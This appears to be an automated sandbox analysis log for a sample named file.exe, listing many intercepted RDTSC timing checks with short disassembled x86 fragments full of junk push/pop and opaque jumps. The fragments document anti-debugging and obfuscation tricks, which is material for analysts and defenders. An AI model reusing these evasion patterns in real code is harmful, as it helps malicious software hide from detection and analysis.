Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8EA7 second address: 3E8EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8EC0 second address: 3E8EC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8EC4 second address: 3E8EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD7BCC58FDBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8EDA second address: 3E8F1F instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c mov bx, ax 0x0000000f pushad 0x00000010 mov edx, dword ptr [ebp+122D3ABFh] 0x00000016 mov edi, dword ptr [ebp+122D3B53h] 0x0000001c popad 0x0000001d push 00000000h 0x0000001f mov edi, ecx 0x00000021 push 00000000h 0x00000023 jmp 00007FD7BCB87A21h 0x00000028 mov edi, dword ptr [ebp+122D3AABh] 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 je 00007FD7BCB87A18h 0x00000037 push edi 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E70E2 second address: 3E70EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8F1F second address: 3E8F32 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FD7BCB87A16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8F32 second address: 3E8F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8F36 second address: 3E8F40 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E9E2B second address: 3E9E68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FD7BCC58FE7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FD7BCC58FD6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E905F second address: 3E9063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EAEC3 second address: 3EAED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EAED0 second address: 3EAF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 or dword ptr [ebp+122D21D7h], edi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FD7BCB87A18h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub bx, 45B2h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FD7BCB87A18h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a mov dword ptr [ebp+122D2AD0h], ecx 0x00000050 je 00007FD7BCB87A1Eh 0x00000056 push ebx 0x00000057 or dword ptr [ebp+122D383Ah], eax 0x0000005d pop ebx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FD7BCB87A26h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EAF50 second address: 3EAF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F313C second address: 3F314D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F314D second address: 3F3151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3151 second address: 3F316C instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7BCB87A16h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007FD7BCB87A1Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F6ECB second address: 3F6ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F6ECF second address: 3F6ED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F6ED3 second address: 3F6ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAAC6 second address: 3FAACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAACC second address: 3FAAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAAD2 second address: 3FAADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD7BCB87A16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAADD second address: 3FAB14 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD7BCC58FF0h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD7BCC58FE1h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAB14 second address: 3FAB18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FF837 second address: 3FF864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD7BCC58FE3h 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FD7BCC58FDAh 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 jg 00007FD7BCC58FDAh 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FF9D5 second address: 3FF9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FF9DA second address: 3FF9DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FFCEB second address: 3FFCF6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FD7BCB87A16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4003CC second address: 4003D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403137 second address: 40313E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40313E second address: 40315F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD7BCC58FE1h 0x00000008 jmp 00007FD7BCC58FDBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FD7BCC58FD6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40315F second address: 403163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403163 second address: 40316B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40316B second address: 403174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4066F9 second address: 406713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD7BCC58FE5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406713 second address: 40672E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40672E second address: 406734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D82DC second address: 3D82ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D82ED second address: 3D82F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D82F2 second address: 3D82F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8640 second address: 3D8644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8644 second address: 3D8648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D879A second address: 3D879F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D879F second address: 3D87C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FD7BCB87A16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D87C4 second address: 3D87D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FD7BCC58FD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D87D3 second address: 3D8836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FD7BCB87A25h 0x0000000f mov eax, dword ptr [eax] 0x00000011 ja 00007FD7BCB87A1Eh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jns 00007FD7BCB87A21h 0x00000021 pop eax 0x00000022 mov dword ptr [ebp+122D3495h], edx 0x00000028 xor dword ptr [ebp+122D25DBh], esi 0x0000002e call 00007FD7BCB87A19h 0x00000033 jg 00007FD7BCB87A1Eh 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8836 second address: 3D8868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jmp 00007FD7BCC58FE2h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD7BCC58FE2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8868 second address: 3D8872 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8872 second address: 3D8885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007FD7BCC58FD6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D898A second address: 3D8998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FD7BCB87A16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8A20 second address: 3D8A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D94B1 second address: 3D94B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D94B8 second address: 3D9505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b je 00007FD7BCC58FDEh 0x00000011 ja 00007FD7BCC58FD8h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jp 00007FD7BCC58FE3h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 pushad 0x00000025 jp 00007FD7BCC58FD6h 0x0000002b jmp 00007FD7BCC58FDEh 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9505 second address: 3D9509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D95F9 second address: 3D95FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D95FD second address: 3D9601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9601 second address: 3D967E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FD7BCC58FD8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 movsx edx, ax 0x00000027 xor ch, FFFFFFFEh 0x0000002a lea eax, dword ptr [ebp+1248CF22h] 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007FD7BCC58FD8h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a mov edx, dword ptr [ebp+122D2672h] 0x00000050 nop 0x00000051 jno 00007FD7BCC58FE6h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b push edx 0x0000005c pop edx 0x0000005d jc 00007FD7BCC58FD6h 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D967E second address: 3D9683 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386F00 second address: 386F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407225 second address: 40723C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3852C8 second address: 3852CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40CAD8 second address: 40CAE2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD7BCB87A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40CF2B second address: 40CF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C506 second address: 40C51D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD7BCB87A1Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D25D second address: 40D28D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD7BCC58FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD7BCC58FE6h 0x00000011 jnl 00007FD7BCC58FDEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D412 second address: 40D41D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D589 second address: 40D58F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D58F second address: 40D5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D5A0 second address: 40D5CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD7BCC58FE1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD7BCC58FDAh 0x00000016 jg 00007FD7BCC58FD8h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D85C second address: 40D871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007FD7BCB87A38h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jnc 00007FD7BCB87A16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D871 second address: 40D87B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD7BCC58FD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D87B second address: 40D884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F700 second address: 38F71A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41556D second address: 415571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415571 second address: 415584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41419B second address: 4141B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7BCB87A20h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414464 second address: 41446A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41474E second address: 414754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414754 second address: 414768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FD7BCC58FDCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414A57 second address: 414A61 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD7BCB87A1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414CEA second address: 414D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FD7BCC58FE3h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414D02 second address: 414D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD7BCB87A21h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414E5A second address: 414E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD7BCC58FE9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4153F6 second address: 41541A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD7BCB87A24h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41541A second address: 415424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD7BCC58FD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415424 second address: 41542E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD7BCB87A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41BCF5 second address: 41BCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41BCF9 second address: 41BCFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41BCFF second address: 41BD39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 jbe 00007FD7BCC58FEBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 jmp 00007FD7BCC58FE3h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
